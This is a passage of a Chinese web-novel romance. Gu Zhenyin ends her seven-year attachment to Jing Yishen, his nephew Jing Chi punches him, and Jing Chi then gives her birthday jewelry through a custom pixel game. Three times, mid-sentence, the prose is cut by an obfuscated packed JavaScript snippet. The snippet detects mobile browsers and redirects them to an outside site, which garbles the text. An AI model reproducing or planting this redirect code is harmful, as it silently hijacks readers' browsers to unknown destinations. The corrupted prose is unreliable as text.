膝盖上的伤处被碘伏覆盖,形成了一块边缘不规则的黄褐色痕迹,碘伏颜色很浅,但顾蓁音的皮肤白,那层淡淡的黄色很显眼。 顾蓁音心底空落落的,她捂着抱枕,闷声道:“伤成这样,好丑。” 景驰抬眼看她,语调微微上扬:“嫌丑?” 顾蓁音有些忐忑,她担心景驰误会,认为她嫌弃他上药涂得丑,顾蓁音正要说话,却感觉膝盖被人抬起。 他的掌心轻轻扶住膝盖内弯,温热的指腹捏着她的腿肚,景驰重新低下头,她能感知到微凉的棉签在皮肤上缓缓游走,蜿蜒留下一片湿意。 但意外的是,这次没有伤口接触药物的痛感,顾蓁音吸了吸鼻子,瓮声瓮气问:“你在干什么?” 景驰松开手,示意她看:“你看看。” 原本斑驳的伤处,被他用碘伏在伤处边缘补充填色,绘成一朵简易圆润的小黄花,衬得有几分可爱。 景驰抬头:“你不是嫌弃伤口丑吗?奖励你一朵小花。” 他一本正经:“就当做是公主坚强的奖励。” 酒店的灯光不是很亮,是暗暗的柔光,灯光下的景驰墨色额发往后捋,将前额眉眼完全露出,锋利精致的五官轮廓尽显,却意外有种毛茸茸的柔软质感。 像刚刚洗完澡,晒着太阳的小狗。 柔软的,香香的。 景驰的声音拉回她的思绪:“还丑吗?” 顾蓁音呆呆地,慢半拍才收回目光,她欲盖弥彰地抬了抬腿:“……还行。” 此时有人敲了敲门:“小驰总,您要的手机和拓展坞买到了,我给您送来了。” 景驰起身去开门,片刻拿着一个崭新的纸袋进来。 顾蓁音有些惊讶:“你……给我买了新手机?” “嗯,我按照你的手机型号,让人重新买了新手机,我一会帮你把旧手机的数据传输过去。”景驰收拾用过的棉签,“你的笔电在身边吗?借我用一下。” “在。”顾蓁音指了指在床头充电的笔记本电脑。 景驰:“行,手机给我。” 他将笔记本电脑放在酒店的桌面上,插上拓展坞,连接顾蓁音摔坏的手机。 顾蓁音坐在一旁,不太懂他的操作:“不用去手机店维修吗?” “不用,维修要花不少时间,不如直接用新手机。”景驰一边操作,一边解释,“你手机屏幕只是显示不了,接触没有失灵,只能用拓展坞投屏到电脑上操作,把你旧手机的数据文件导入新手机上。” 电脑屏幕的荧荧亮光映照在他的脸庞上,景驰专注认真的时候,只让人觉得有种莫名让人安定的感觉。 说话间,电脑屏幕上出现她的手机界面,他帮她把需要的数据传进新手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248308|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,鼠标移动,景驰点开了相册。 “相册的照片要传过去吗?” 顾蓁音的相册分门别类得很清楚,标注着工作,娱乐这些标签,但有一个相册却是例外,命名是一句英文。 ——Butterfliesinmystomach 心动的感觉,就像胃里有蝴蝶在飞舞。 鼠标滴答轻响,景驰点开了这个相册,里面积攒了几乎上千张照片,零零散散的照片,但更多的,是景逸琛的身影,有背影,有侧脸,整整记录了七年,从她的16岁到即将到来的24岁,她的眼睛,她的镜头,都被景逸琛占据着。 顾蓁音轻声道:“不用导入这部分照片了。” 那种小鹿乱撞的悸动,胃里乱飞的蝴蝶,也在这个夜晚,彻底凋亡。 景驰握着鼠标的手顿住。 “好。” 数据很快传输完毕,景驰把一模一样的全新手机递到顾蓁音面前:“好了。” “有事再找我。”景驰嘱咐道,“还有伤口别碰水,如果洗澡不方便,让你助理来帮忙。” 顾蓁音捏了捏新手机,她轻声道谢:“谢谢。” 他一个人忙前忙后地替她处理全部事情,这声谢谢,顾蓁音说得真心实意。 她却突然叫了声:“景驰。” 景驰看向她:“嗯?” 顾蓁音垂着脑袋,自顾自道:“其实我刚刚想了很多,我为什么会这么倒霉,喜欢上不应该喜欢的人,我这辈子干过最坏的事,是我姐骂了我,我偷偷在她的作业本上画小乌龟,我觉得,我也罪不至此……” 她的额头被人很轻地弹了下,他的嗓音懒懒散散的:“都要成瘸子了,就消停会儿吧公主。” 顾蓁音抬眼,景驰骤然朝她凑近,男人的脸陡然放大,优越立体的眉骨被灯光打上淡淡的阴影,俊美无俦。 “别想太多,说不定你的好运气在后面,早点休息。” - 景驰离开顾蓁音的房间后,给季淳打去一个电话。 刚刚在传输数据时,他看到了顾蓁音的聊天记录里,有个备注“Lena姐”的好友发的消息。 Lena姐:【被夏霜那枚摔坏的无事牌还能修好吗?我真的没想到景逸琛居然能这么混蛋,把你送他的东西转手当彩头送人,还纵容夏霜摔坏你的东西。】 Lena姐:【音音,你还好吗?对不起,我不知道景逸琛他们也在那家酒馆,不然也不会发生这些事情了……】 Lena姐:【你放弃是对的,他配不上你,亲爱的,你值得更好的。】 光线幽暗的走廊里,景驰眉眼清冷,只听见季淳的声音从电话里传来:“查到了,整个嘉桐镇除了我们和d站承包了活动场地,还有一家公司包了场地公司团建,正好就是你小叔所在的公司,我查到了他们下榻的酒店民宿,已经把位置发给你了。” 景驰:“行,谢了,我现在过去。” 季淳疑惑道:“你和你小叔不是关系不怎么样吗?你突然找你小叔干嘛?” 景驰径直朝外走,语调轻描淡写。 “没什么,去找他算个账而已。” 15. 结束 酒馆二楼,烟雾朦朦胧胧地腾起,却无法消散,萦绕盘旋在吊灯下,蒙蒙一片,将暗色光亮遮挡得更模糊。 景逸琛脸色不好看,有人出声提醒:“逸琛,到你出牌了。” 景逸琛将手中的牌打出几张,身旁的人发觉了他的不对劲,自然知道他心烦什么:“逸琛,人都走了,不去哄哄?” 有人调笑:“有什么好哄的?那顾家小姑娘喜欢逸琛喜欢得跟什么似的,过一会自己就回来了,放心。” 每个字清晰地落入景逸琛耳中,却没有抚慰景逸琛的情绪,他只觉得实在乏味,将剩余的往桌前一推:“不玩了,你们继续。” 景逸琛站起身,走向露台,他心情不太好,点燃一根烟,浓烈的尼古丁灌入肺里,却没办法消减胸口的烦躁,他胸腔淤积的烦闷好像挥散不去。 此时的他,完全没有办法集中精神去做其他事,他的脑海里,都是刚刚顾蓁音说的话。 ——“你可以不喜欢我,但你能不能,不要一而再,再而三地践踏我的喜欢,践踏我的真心?” ——“到此为止吧,我放过你,也放过我自己。” “景总。” 柔柔的声线打断他的思绪,景逸琛回头,看到了夏霜。 景逸琛掐灭了烟,关心问:“好些了吗?” 夏霜露出一个浅浅的笑:“还好没有扭到脚,休息一会儿,好多了。” 说完,夏霜觑着他的脸色,出声道:“顾小姐应该也只是无心之失,她才一时情急,不小心推了我。” 景逸琛像是心不在焉,随口应了声:“嗯。” 见景逸琛没有反驳她的话,夏霜的神情有些黯然。 她知道,景逸琛愿意资助她,包容她的犯错,对她好,不是因为喜欢她,只是因为景逸琛在她身上,看到以前不断寄人篱下的自己。 她出身在偏远的农村,父母双亡,从小被亲戚当踢皮球一样送来送去,直到她被景逸琛资助,她才有了稍微安定的生活,得以考上大学,她的人生,像是投射景逸琛过往的影子,他才愿意对她好,就像是不断弥补补偿过去的自己。 至于这段时间的亲近,夏霜从一开始就知道,景逸琛只是利用她,去刺激顾蓁音,让顾蓁音主动低头而已。 无论是之前的玩偶照片,还是今天的那枚无事牌。 但景逸琛将她拉出生活的泥潭,是救世主般的存在,她还是对景逸琛产生了不该有的少女绮梦。 夏霜抬眼,怯生生问:“景总,顾小姐好像不高兴,你要不要去看看顾小姐……” 景逸琛顿住,良久却沉沉道:“不用了。” 以往顾蓁音也会因为一些无关紧要的事,和他闹脾气,次数不胜枚数,但无一例外,顾蓁音总是先主动和好的那一个,他以为这次也一样,只不过是一个生日,但顾蓁音却像是铁了心和他犟到底,今天听到顾蓁音要放弃他时,他还是有些气得失去理智,所以才会把她的无事牌转手送人。 只是他看到顾蓁音泛红的眼眸,他心底却不断翻涌出懊悔。 他这次做得确实有些过分,是真的伤了顾蓁音的心。 但顾蓁音喜欢了他整整七年,他不相信顾蓁音真的舍得放弃他。 他将手中的烟扔进垃圾桶,朝室内走去,他吩咐夏霜:“明天帮我联系人,挑一块好点的翡翠料子,给她重新做一个无事牌。” 景逸琛像是想到什么,补充道:“还有,快到她生日了,她喜欢钻石,你留意一下最近的拍卖会,如果有合适的,帮我拍下来。” 夏霜垂眸跟在他身后,掩下眼底的落寞:“好的,景总。” 但回到室内,不知何时却多了一个人。 来人身形颀长高大,身上似乎沾染了夜晚凛冽的寒气。 有人认出是景驰,态度顿时殷切起来:“景少,好巧,您要不要一起玩几局?” 刚刚进来的景逸琛显然也看到景驰,他的眉深深皱起,却没有说话。 “玩就不必了。” 景驰站定,视线遥遥投向景逸琛,他语气很温和,甚至还笑了下:“我听说我小叔在这儿,我找他有些私事要聊,麻烦各位先回避一下。” 景家在北城上流圈层也占有一席之地,不容小觑,更何况景驰在游戏行业风头无两,身价不可估量,周遭的众人只以为叔侄两人要聊私事,不方便旁人在侧,只是点小事,都乐得卖景驰一个面子,没有人会选择在这些小事上得罪这位点石成金的太子爷。 闻言,旁人纷纷找了借口告辞,皆散了个干净。 夏霜犹豫地看向景逸琛,景逸琛只是低声道:“你先回去吧。” 夏霜犹豫片刻,最终还是离开,一时间,整间酒馆陷入安静,仿佛只剩下景驰和景逸琛。 景逸琛才察觉出不对,看向景驰:“你清了场?” 景驰半靠在酒柜上:“既然是我和小叔的私事,还是没有外人在比较好。” 他抬手,轻轻揉了揉手腕,慢条斯理道:“毕竟万一被人知道我接下来要做的事,会有损我的社会形象。” 猝不及防间,景驰抬手挥拳,强劲的拳风划出一道凌厉风声,直冲景逸琛的脸庞而去,一拳将景逸琛的脸打偏到一边。 他收回手,很淡地笑了声:“小叔,你是不是觉得我不敢动手?” “我叫你一声小叔,是看在爷爷的面上,说实在,我真的挺看不起你的。” “你应该知道顾蓁音为了你,做了多少事,怎么?明明知道她有多在意你,你还要一次次伤害她,欺负顾蓁音很好玩?是吗?” “景总!” 还未离开的夏霜急切地上前扶住景逸琛,她望着景驰:“景少,他是你的长辈!” 景驰掀起眼看向她,语气很冷:“你算什么东西?” “我连景逸琛都不放在眼里,你算是个什么东西?” 夏霜脸色一白。 景逸琛捂着脸,嘴角已经被景驰打出淤青,他脸色阴沉,却止住夏霜:“算了。” “我这次,自认理亏,但景驰,没有下次了。” - 季淳等在酒馆外,看到从里面走出的景驰,迎了上去。 “结束了?” 刚刚揍人的时候,他的指节因为用力过猛,被磕破了皮,渗出些许血迹,但景驰只是低着头,毫不在意地用纸巾擦拭干涸的血迹,将纸巾扔进垃圾桶。 “嗯。” “你真的把你小叔揍了?”季淳喋喋不休,“这里不是北城,你悠着点儿,” “放心,他不敢。” “我心里有数。”他很轻地笑了声,“就算我把他揍得鼻青脸肿,他也只敢说是自己摔的。” “但凡今晚的事闹到老爷子那儿去,先倒霉的人不会是我。” 景驰做事向来很周密,季淳放下心来,他转而迟疑道:“我还有另一件事要说。” “你的白月光青梅妹妹,在你的房间里等着你。” - 这次活动,主办方把参加活动的博主和其他工作人员安排在同一家酒店里,只不过顾蓁音他们入住的是基础客房,景驰作为主办方之一,入住的是更高级的行政套房。 景驰刷卡进房间时,房间飘散着一股不属于他的木质玫瑰调,顾蓁音娇小的身影映入眼帘,景驰想到季淳的抱怨:“我在电话里劝了好久,但人家非得等你,我总不能让人妹妹一直待在外边吧,只能让周于承刷卡,让人进你房间里等了。” 景驰将受伤的那只手藏在兜里,朝她走过去:“你怎么还没睡?” 顾蓁音显然已经洗过澡,她换了一套新的长裙,盖住受伤的膝盖,她抬眼看向他,下意识问:“你去哪儿了?” 这句话脱口而出,顾蓁音说得太急,有些没把握好语气,导致整句话像是在质问。 空气静默一瞬,当顾蓁音意识到自己的语气不太对时,景驰饶有兴致地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248309|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,嗓音不疾不徐:“怎么,查我岗啊?” 景驰抄着兜,姿态散漫地站在她面前,目光在她眉眼间逡巡:“只有我老婆才能查我的岗,你要给我当老婆?” ??? 她只是很正常地问一句他去哪儿而已,怎么就要给他当老婆了?? 顾蓁音轻咳一声,转移话题:“……我只是来还东西的。” 景驰的视线移到她手边,才发现刚刚走得太急,忘了拿帮她传输数据的拓展坞。 景驰:“让人转交也是一样的,没必要等我回来。” 顾蓁音也不知道自己为什么要特地跑一趟,等景驰回来,她无意识玩起绑数据线的铁丝扎带,声音闷闷的:“我也没什么事做,等了一会而已。” 景驰听着她说话,视线停在她的动作上,白色扎带在她的无名指根上,绕了两圈半。 顾蓁音似无所觉,重新将绕在无名指的铁丝扎带解开,把数据线捆绑起来。 “好了。”顾蓁音站起身,“东西带到了,那我先走了。” 她走到门边,景驰突然出声:“回北城后,可以找个师傅重新修复摔坏的无事牌。” 顾蓁音顿住,她转过身,轻声道:“不用了,就这样吧。” 门开了,又重新阖上。 景驰垂眸,拿起她放在桌面上的数据线,解开了那根小小的扎带,绕成一个圆环,他举起圆环,对着灯光端详。 口袋里的手机震动一声,景驰拿出手机。 顾蓁音:【碘伏和棉签放在你门口了,你藏在手上的伤,记得上药。】 - 深夜,顾蓁音躺在酒店的床上,她将那枚残缺一角的无事牌握在手中,缺失的那一角,和圆润的边缘形成鲜明对比,锋利硌手,格格不入的手感像是时刻在提醒她,再继续投入下去,只会被刺得鲜血淋漓。 破碎的边缘挤压着指腹,冰凉尖锐的疼痛,像是能让人清醒,她开始迷茫,她到底为什么对景逸琛如此执着,把自己一遍遍困在一个名为“景逸琛”的死局里,遍体鳞伤。 事到如今,她对景逸琛或许是一种执念,而不是喜欢。 她一次次期待他的回应,但却一次次落空失望,景逸琛的喜欢对她来说,就像是娃娃机里抓不到的娃娃,她不断投币,投入时间精力,投入感情,试图得到它。 但一次次的努力,却换来一次次的落空,她对他的喜欢,已经渐渐变了质,成了一种执念。 他总是会给她制造错觉,好像每次都是只差一点点,她就能得到想要的回应,或许再坚持一下,就能得到她想要的结果,此后她锲而不舍,越陷越深。 她舍不得投入的时间和爱,她不甘心这些年打了水漂,她不愿意承认自己喜欢错了人,她还在期待着悬而未决的结果。 但今晚的她,再次深刻地认知清楚,喜欢景逸琛,只会一次次被他竖起的尖刺刺伤,让自己一次次收到伤害。 再强的血条和耐心,也有被清空的一天,追逐景逸琛的游戏在今天彻底gameover。 放弃喜欢景逸琛的任务,也在今天彻底成功。 顾蓁音从床上坐起来,将无事牌重新包起来,放回包里。 她拿起手机,重新点开了景驰的聊天框,发去一条消息。 顾蓁音:【景驰,我还有件事要和你说。】 景驰:【你说。】 顾蓁音将手机举高,拇指抵在屏幕上,逐个缓慢打字。 【当你老婆这件事,我会考虑一下的。】 顾蓁音点击发送,她才重新看向自己打的那行字,心脏后知后觉狂跳起来,两秒后,她的手机屏幕亮起,是景驰的电话。 顾蓁音盯着“景驰”两个字,莫名紧张地咽了咽唾液,她慢了半拍,才缓缓点了接听。 “顾蓁音。” 景驰的声音像是有些哑,又像是带着笑。 “那你要尽快考虑,我很抢手的。” 16. 彩蛋 d站的线下活动结束当天,顾蓁音就回了北城,顾蓁音本想在家休息几天,整理剪辑活动拍的视频素材,但回北城的第二天下午,她就被安唯拉出门逛街。 顾蓁音本以为安唯只是单纯地逛街,但她没想到,这次是冲她来的。 VIP贵宾室内,顾蓁音有些懵地看着面前的景象,两侧移动衣架挂着SA刚刚替顾蓁音挑选的几套礼裙,层层叠叠的裙摆精致华美。 顾蓁音问安唯:“你给我挑这么多礼裙干什么?” 安唯顺势坐在顾蓁音身边,端起SA送来的热茶:“你今年生日快到了,要选今年生日宴的礼裙了。” 顾蓁音无奈:“你知道,我向来不喜欢大操大办的生日宴会,很累。” 顾蓁音对于大操大办的生日宴会不太感兴趣,这种性质的生日宴会,需要应酬各种各样的宾客,顾蓁音不擅长长袖善舞,她最理想的生日,是和喜欢的人一起度过,只不过景逸琛陪她过生日的次数寥寥无几,所以她的生日一般都是和安唯几个关系最亲近的朋友一起,怎么简单怎么来。 安唯兴高采烈道:“我知道,但往年你的生日过得都很随意,今年你回北城定居,咱们很多朋友好久没见了,可以借这次生日宴见见面,所以必须隆重一回,我和韫珠姐商量过了,今年你的生日宴交给我来操办,你放心,你到时候只负责美美出场就行。” 说完,安唯起身,示意SA带顾蓁音去试礼裙。 顾蓁音拗不过她,试了几套,挑了套喜欢的,安唯又让人在生日当天上门给顾蓁音做造型。 因为有生日宴这个临时变动,顾蓁音提前在粉丝群里发通告,表示今年生日当天另有安排,生日当天不直播。 往年顾蓁音都会在生日当天直播一小时,和大家聊天,今年临时取消,实属突然,好在群里的粉丝们纷纷表示理解。 因为顾蓁音的生日,群里聊起其他事。 【糯米糍今年也会投放生日大屏吗?】 【去年音音生日,糯米糍在沪江大厦投了五个小时的生日大屏,听说一晚上花了几乎上千万,太有实力了。】 【去年投放五个小时只是临时出现意外情况,音音当时航班延误,没办法及时回到江城,糯米糍才专门为音音延长投放时间。】 糯米糍每年会给她投放生日大屏,已经成为顾蓁音每年生日的固定节目。 在顾蓁音自媒体有起色后,综合各种因素考虑,顾蓁音有个规矩,她只收信,不收粉丝的礼物,所以当糯米糍提出送她生日礼物时,顾蓁音毫不犹豫地拒绝了。 此后顾蓁音生日,糯米糍都会在她所在的城市市中心投放生日大屏一小时,从伦敦到江城,每一年都不会缺席。 顾蓁音有委婉劝说过,但糯米糍本人却淡然地表示,完全只是小钱,不用有心理负担。 投放生日大屏这件事,其实不算少见,很多明星粉丝都会自发组织,但这件事落在她一个勉强小有名气的博主上,就有点过于夸张。 只不过早几年在伦敦,并不算特别起眼,只有顾蓁音和她的粉丝知道,粉丝也只当是富婆姐姐的消遣,所以没有掀起太多波澜。 但这种平静在去年被打破,本来按照惯例,糯米糍在固定的时间投放一小时的生日大屏,但因为顾蓁音陪安唯去旅游,原本预计在生日当天下午回到江城,却临时出现突发暴雨天气,航班延误,顾蓁音被困机场,导致她完美错过生日大屏的投放时间。 顾蓁音当时很内疚也很遗憾,觉得没能亲眼看到,辜负了糯米糍的一片心意,她还特地和糯米糍道歉。 但糯米糍却轻描淡写地回了句:【我临时延长了投放时间,今晚零点前,你都能看到生日大屏。】 后来顾蓁音才知道糯米糍直接延长了四小时,在江城人流量最多的沪江大厦投放了五个小时的生日大屏。 这件事引起了不少人的关注,还小小上了热搜,戏称霸总文学照进现实,有人开始扒绿茶糯米糍的身份,但不到一个小时,关于绿茶糯米糍的热搜就凭空被撤下,在网络上消失得悄无声息。 当时安唯和她回江城,陪她一起庆生,她亲眼目睹了整件事,她比顾蓁音这个当事人还要激动。 “据我所知,这里的大屏私人定制要三万多一分钟,她为了不让你错过,整整投放了五个小时,一晚上花了几乎上千万,你这个大粉到底是什么来头?超级富婆姐姐?” “顾蓁音,你和我说实话,这个富婆大粉是不是暗恋你?” 顾蓁音对安唯无厘头的猜测很无奈:“什么暗恋我?人家是直的。” 但好在,糯米糍只是高调了这么一次。 此时群里很热闹,不常发言的绿茶糯米糍在此时出现。 绿茶糯米糍:【今年的生日大屏在北城CBD大厦投放,投放时间为9.14晚20:00——21:00。】 发完这条消息,绿茶糯米糍私聊了顾蓁音。 绿茶糯米糍:【今年是有事吗?】 流泪咖啡因:【嗯,家人朋友给我安排了生日宴,不方便直播。】 流泪咖啡因:【但我会去看你投放的生日大屏的!不过时间好像不是往常的七点到八点……】 绿茶糯米糍:【我觉得你那时候可能有事,就特地把时间往后调了调。】 顾蓁音觉得对方说得有道理,生日宴会的不确定因素太多,说不定到时候就有什么事耽搁了。 到了顾蓁音生日当天零点,顾蓁音的消息不断跳出,几乎占了满屏。 先是父母和姐姐的生日祝福,接下来就是朋友们和助理的一连串祝福消息。 生日宴定在安唯家一处私人酒庄,安唯和顾蓁音当了二十多年的闺蜜,深知顾蓁音的审美喜好,生日宴的每一处布置都深得她心,粉蓝气球在半空缓缓摆动,粉白玫瑰和淡蓝绣球蜿蜒了整个宴会厅,基调清新自然,香槟塔高叠,各种布置格外齐全。 生日宴在下午四点就开始了,这次生日宴邀请的大部分是发小好友,没有长辈在,少了拘束,氛围格外欢乐。 顾蓁音做完造型下楼,宴会厅所有宾客的目光聚集在顾蓁音身上,都是好友,不外乎都是夸她漂亮,顾蓁音笑着一一回应。 安唯穿着一身墨绿色鱼尾裙,正帮忙招呼朋友,见到顾蓁音,不由眼前一亮,她迎上来:“这是哪本童话书里的公主跑出来了?太美了,我的宝!” 顾蓁音摸了摸脖颈,有些遗憾:“本来想戴新珠宝的,还记得我和你说过那套很喜欢的高珠吗?可惜被人捷足先登订走了。” 生日前夕,顾蓁音看中了一套高珠,还特地找了安唯参谋,但等她联系SA后,才得知那套珠宝已经被人订走了。 安唯似乎有些心虚地摸了摸鼻子,目光闪烁:“……说不定以后有机会再见到那套高珠呢?” 顾蓁音有些不解,但安唯却转移话题,挽着她逛场地:“哎呀先别管了,看看我给你布置的场地,喜不喜欢?” 顾蓁音很会拍好友马屁:“你安排的,我都喜欢。” “你就哄我吧。” 安唯带她逛到一处僻静无人的小花园,介绍道:“这里是我家酒庄景色最好的地方了。” “你要不要在这儿坐坐,我让人端点甜品过来。” 安唯正和顾蓁音说着话,她的目光却瞬间移到顾蓁音的身后,变得有些不善。 “景先生。” 显然,有人不请自来。 景逸琛身着深色西服,站在不远处,像一尊沉默的雕像。 景逸琛对安唯态度不冷不热:“安小姐。” 安唯一样皮笑肉不笑:“我以为景先生对我们这些无聊的小打小闹不感兴趣,所以就没有邀请您,您别介意。” 景逸琛忽略安唯话里的阴阳怪气,他淡淡看向顾蓁音,道:“我只是来送礼物的。” 顾蓁音闻言,转身看向他。 安唯还想争论,却被顾蓁音拦住:“没事,你先回宴客厅。” 安唯看了她,最后小声说“有事找我”才离开小花园,顾蓁音走到景逸琛面前,客气疏离地叫了声:“小叔叔。” 顾蓁音今天是众星捧月的主角,身着的礼裙是高腰线的A-line裙,肩带领口都用了缝钻珠缝工艺,碎钻珍珠贴合白皙的肩胛,晶莹剔透,香槟色柔缎裙摆外拢着飘逸薄纱,缝制碎钻和鎏光羽毛,衬得她身形比例极好,纤秾合度,行走间裙摆流光熠熠,似雾朦胧梦幻。 乌黑长发被打理成法式公主造型,尽数梳成辫子盘起,几缕卷曲长发柔柔垂落,乌黑发间缀着零星钻石珍珠,碎钻切割面在灯光下折射出耀眼光芒。 往日她已经很漂亮了,此时的她更是美得不像话。 他看着她从亭亭玉立的少女长成,景逸琛心底微软,见顾蓁音主动过来,将丝绒首饰盒递到她面前:“礼物,看看喜不喜欢。” 离得近了,顾蓁音才注意到景逸琛的嘴角似乎泛着很淡的淤青,不知道他怎么弄的,看起来……像是被人打的。 不知道是哪位好心人动的手,她一定送一副感谢锦旗过去。 顾蓁音伸手接过,打开景逸琛的礼物,是一条钻石手链。 在以往,她如果收到景逸琛的礼物,她都能开心很久,但现在,她看着这一条审美切割都很普通的钻石手链,只觉得有些好笑。 这个礼物,应该是夏霜挑的。 她“嗒”地一声,阖上首饰盒,看向面前的景逸琛。 景逸琛见顾蓁音看他,原本紧绷的神色微不可查地放松些许。 他语气低沉:“蓁音,我让人做了一枚新的无事牌——” 但顾蓁音打断他的话:“我不要这个。” 她补充道:“至于摔坏的那枚无事牌,我也不打算修复了。” 景逸琛有些不解地皱了皱眉,显然不理解她的用意。 顾蓁音弯了弯唇,平静道:“就当做一个教训吧,一个让我时刻警醒的教训。” “那枚无事牌就算是修补得再完美,也无法恢复如初,那条裂痕也始终存在,这是没办法抹去的事实。” “就像你对我造成的伤害一样。” 景逸琛的脸色渐渐发沉。 顾蓁音却恍若未闻,她越过景逸琛,将丝绒盒递给他身侧的夏霜:“还有这个,送你了。” 夏霜没有接:“顾小姐,这是景总送你的礼物。” 顾蓁音语气平静:“我知道,不值钱的玩意儿而已,我不喜欢。” 景逸琛终于冷下脸,语气冷硬:“顾蓁音!” “原来我把你送的礼物转手送人,你也会生气啊。”顾蓁音抬眸直视他,不避不让,“那你当初为什么要这样对我?” 顾蓁音将丝绒首饰盒强行塞到夏霜手中,她语气很柔和,却意有所指地提醒:“夏助理,小心点,这一次别再摔坏了。” 夏霜脸色微僵,却还是稳稳接住了丝绒首饰盒。 顾蓁音像是想起什么,对着脸色难看的景逸琛补了句:“还有,下次送人礼物,用点心吧,别让夏助理代劳了,她的审美实在不怎么样。” 做完这一切,顾蓁音优雅地提起裙子,转身离开。 想起景逸琛难看的脸色,顾蓁音只觉得心口挤压的郁气好像消散了不少,只觉得脚步都欢快了不少。 她拿出手包里的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261236|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,准备给安唯发消息,却弹出一条消息。 景驰:【这么开心啊。】 ? 顾蓁音的表情霎时收敛,她抬眸,环顾四周,最后却一无所获。 “这儿呢,公主。” 熟悉的语调带着清浅笑意,拖得漫不经心,从斜对面传来,顾蓁音循声望去,和一楼露台的景驰目光相撞。 小花园里绿植覆盖,郁郁葱葱,如果不仔细看,顾蓁音都发现不了还有一个小小的露台。 他双手搭在栏杆上,下午五点的光线并不明亮,一旁几棵葳蕤丹桂将露台遮挡大半,她却将景驰眼底的戏谑笑意看得分明。 他今天穿得格外正式,但廓形西装没有扣纽扣,削弱了文气,添了几分随性,身侧树影摇曳,在他英挺的脸庞落下晃动的阴影。 自从上次,顾蓁音说会考虑和他结婚后,两人就再也没有联系过。 她轻咳一声:“你看到了?” “嗯,挺精彩的。” 景驰语调懒散地评价:“刚刚那手链,钻石小得要用放大镜看,配不上你。” 不得不说,景驰有些时候,真的挺混蛋刻薄的。 但顾蓁音也不得不承认,景驰说得很对。 顾蓁音忍不住笑了:“我也觉得配不上我。” 景驰微微倾身,他垂眸看她,嘴角扯出一抹玩世不恭的淡笑。 “哎,公主。” “要不要跟我去看看你的生日礼物?” 他笑了下,嗓音漫不经心:“看点配得上你的。” - 二楼休息室,像是将世界分割成两个部分,完全隔绝楼下宴会厅的喧闹,安静得针落可闻。 景驰递给她一个平板。 顾蓁音垂眸,平板屏幕上,是一个像素风格的游戏界面。 顾蓁音好奇:“这是游戏?” 景驰:“对,就是游戏。” 顾蓁音点击游戏开始,画面跳转成一片辽阔的茂密森林,森林外出现一个像素游戏小人,顾蓁音勉强辨认出来,游戏里的小人的裙子,和她现在穿的一模一样。 画面跳出一行字:【音音公主,请前往神秘森林深处探险,获得属于你的宝藏。】 游戏关卡设置得并不多,一共三个关卡,需要操作小人穿越河流,躲避缠绕四肢的水草;经过沼泽地时,要防止被埋伏的鳄鱼咬伤;跨过雪山,需要避免被雪崩追上,中间遇到困难,会有小动物配角帮忙,顾蓁音花了十几分钟,就已经抵达放置宝藏的山洞。 顾蓁音点击山洞里的宝箱,宝箱打开,弹出一套闪闪发亮的钻石珠宝。 虽然是比较简约的像素风,但顾蓁音目光停在屏幕上,久久没有移开,她只觉得游戏里的钻石珠宝格外眼熟。 是她想预订,但被其他人捷足先登的那套高珠。 景驰的声音在头顶响起:“顾蓁音,抬头。” 顾蓁音下意识抬眼,她目光顿住,那套真正的高珠实物,此时正在静静地放置在她的面前。 顾蓁音轻声道:“这套高珠,原来是被你订走的……” “现在物归原主。”景驰将那套高珠推到她眼前,敲了敲边缘,“生日快乐,音音公主。” 黑色丝绒面上,项链环绕着每一颗钻石都散发着耀眼夺目的火彩,璀璨,华丽。 顾蓁音呆呆的,有些没反应过来。 景驰伸出手,在她眼下晃了晃,好笑道:“怎么了,被闪到了?” 顾蓁音回过神:“……确实有点闪。” ”确实,我送的钻石,要带着护目镜看。“景驰语气乖张,“不然担心闪到你的眼睛。” 顾蓁音听出他的言外之意,忍不住笑了:“嗯,你送的礼物,甩景逸琛十条街。” “当然。” 景驰挑了挑眉,显然对她的话很满意。 顾蓁音将平板放在膝盖上,很真挚地道谢:“谢谢,游戏挺有意思的,做这个游戏花了很多时间吗?” 景驰慢慢站直,他的目光淡淡落在她的脸上:“还好,没有花多长时间……” “等等。” 顾蓁音打断他的话,她的目光却突然定在屏幕某处,她突然抬手,点了下屏幕里一处阴影。 屏幕画面出现变化,一个从未出现的游戏小人缓缓从阴影走出,停在主角小人面前,捧着一个小首饰盒。 顾蓁音疑惑:“这是什么?” 景驰垂眸望向屏幕,突然笑了:“恭喜你,开出我的隐藏彩蛋。” 听到彩蛋两个字,不知怎么,顾蓁音呼吸有些发紧:“是什么?” 景驰环臂半靠在桌边,姿态闲适,却没有透露答案的意思,他扬了扬下颔:“你可以点开看看。” 